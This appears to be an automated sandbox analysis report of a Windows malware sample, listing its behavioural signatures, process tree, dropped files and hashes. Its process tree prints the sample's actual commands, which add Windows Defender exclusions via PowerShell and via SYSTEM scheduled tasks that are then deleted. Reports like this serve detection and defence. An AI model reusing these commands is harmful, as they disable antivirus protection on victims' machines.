Analysis

  • max time kernel
    146s
  • max time network
    156s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/10/2026, 18:01

General

  • Target
    2026-10-16_4c5d593ae7371faa4ccc72ec782ace24_amadey_blankgrabber_cobalt-strike_coinminer_glassworm_ic.exe
  • Size 34.9MB
  • Sample261017-wmc3laxvbv
  • SHA256 9b861cc1bc92975018dfb77d71de62a9e1264ebaf926b0de988ee20e9066ca65
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-16_4c5d593ae7371faa4ccc72ec782ace24_amadey_blankgrabber_cobalt-strike_coinminer_glassworm_ic.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-16_4c5d593ae7371faa4ccc72ec782ace24_amadey_blankgrabber_cobalt-strike_coinminer_glassworm_ic.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:3452
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4104
    • C:\Users\Public\tXDUYb\Fw22Y3.exe
      "C:\Users\Public\tXDUYb\Fw22Y3.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:696
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:1356
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\tXDUYb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:4964
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\tXDUYb\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2616
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:2580
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:4504
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:1528
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1332
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:4676
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:4928
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:1840
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2204
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:2780
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:4320
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:2536
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:3760
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:4336
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:596
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:4796
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:5932
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:2540
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:2384
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\tXDUYb" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:3952
                        • C:\Users\Public\tXDUYb\Fw22Y3.exe
                          "C:\Users\Public\tXDUYb\Fw22Y3.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:3104
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1108
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:3264
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:3168
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:1276

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 cb0de716e3383c451ab813cf88eb07bb73dfa3a0476d3c96de1eb993c1c55da3
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 d5bad449332e7dd88b3833cf4e9e8aebecf1220121c331fda766bb21c8dc711e
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 913c0083bc59ec3acd687b556304c7468dc6bc76b9d9f1e6f81db54a35118f79
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 0e95cb6f756df2b5425d32c3e77c8bd070a3b2d9b24dbfe3d62261b61228b630
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_x0yx2ol1.vg4.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x0yx2ol1.vg4.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                Fw22Y3.exe

                                • Path C:\Users\Public\tXDUYb\Fw22Y3.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\tXDUYb\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 b0229782e150ba640041c9a419f3f0a388fcda32b308d03a8d5f8ad584bdaf81
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\tXDUYb\adoresd.dat
                                • Size 4.7MB
                                • SHA256 c8fe571db9446c69f36a24912523a5d4011db6a8dd02bf6929230fafac23fb12
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\tXDUYb\msadox.tb
                                • Size 8KB
                                • SHA256 3177e688d03364d3cd756350b65cd17ec4906672019e1837963a2d3e40858358
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/696-565-0x000001D9E8FF0000-0x000001D9E907A000-memory.dmp

                                memory/696-560-0x000001D9E7710000-0x000001D9E775E000-memory.dmp

                                memory/696-534-0x00007FFBFE8D0000-0x00007FFBFE8D2000-memory.dmp

                                memory/696-540-0x000001D9E9AE0000-0x000001D9EA367000-memory.dmp

                                memory/696-543-0x000001D9E9AE0000-0x000001D9EA367000-memory.dmp

                                memory/696-542-0x00007FFBFE8E0000-0x00007FFBFE8E2000-memory.dmp

                                memory/696-547-0x000001D9E9AE0000-0x000001D9EA367000-memory.dmp

                                memory/696-548-0x000001D9E9AE0000-0x000001D9EA367000-memory.dmp

                                memory/696-550-0x000001D9E9AE0000-0x000001D9EA367000-memory.dmp

                                memory/696-549-0x000001D9E9AE0000-0x000001D9EA367000-memory.dmp

                                memory/696-554-0x000001D9E9AE0000-0x000001D9EA367000-memory.dmp

                                memory/696-535-0x00007FFBDBCA0000-0x00007FFBDC1BE000-memory.dmp

                                memory/696-562-0x000001D9E8FF0000-0x000001D9E907A000-memory.dmp

                                memory/696-571-0x000001D9E9AE0000-0x000001D9EA367000-memory.dmp

                                memory/696-564-0x000001D9E8FF0000-0x000001D9E907A000-memory.dmp

                                memory/696-561-0x000001D9E8FF0000-0x000001D9E907A000-memory.dmp

                                memory/696-568-0x000001D9E9AE0000-0x000001D9EA367000-memory.dmp

                                memory/696-570-0x000001D9E9AE0000-0x000001D9EA367000-memory.dmp

                                memory/1356-610-0x0000021FA56D0000-0x0000021FA56DA000-memory.dmp

                                memory/1356-607-0x0000021FBDE00000-0x0000021FBDEB2000-memory.dmp

                                memory/1356-606-0x0000021FA56F0000-0x0000021FA570E000-memory.dmp

                                memory/1356-603-0x0000021FA5570000-0x0000021FA5592000-memory.dmp

                                memory/3104-594-0x00000296A1A10000-0x00000296A2297000-memory.dmp

                                memory/3104-593-0x00000296A1A10000-0x00000296A2297000-memory.dmp

                                memory/3104-584-0x00000296A1A10000-0x00000296A2297000-memory.dmp

                                memory/3104-586-0x00007FFBFE8E0000-0x00007FFBFE8E2000-memory.dmp

                                memory/3104-591-0x00000296A1A10000-0x00000296A2297000-memory.dmp

                                memory/3104-592-0x00000296A1A10000-0x00000296A2297000-memory.dmp

                                memory/3104-587-0x00000296A1A10000-0x00000296A2297000-memory.dmp

                                memory/3104-581-0x00007FFBDBCA0000-0x00007FFBDC1BE000-memory.dmp

                                memory/3104-595-0x00007FFBFE8D0000-0x00007FFBFE8D2000-memory.dmp

                                memory/3452-2-0x00000000001E0000-0x00000000001EC000-memory.dmp

                                memory/3452-504-0x00007FFBF26C0000-0x00007FFBF26D2000-memory.dmp

                                memory/3452-1-0x00000000001D0000-0x00000000001DE000-memory.dmp

                                memory/3452-526-0x00000000001D0000-0x00000000001DE000-memory.dmp

                                memory/3452-527-0x00007FFBF26C0000-0x00007FFBF26D2000-memory.dmp

                                memory/3452-0-0x00000000001D0000-0x00000000001DE000-memory.dmp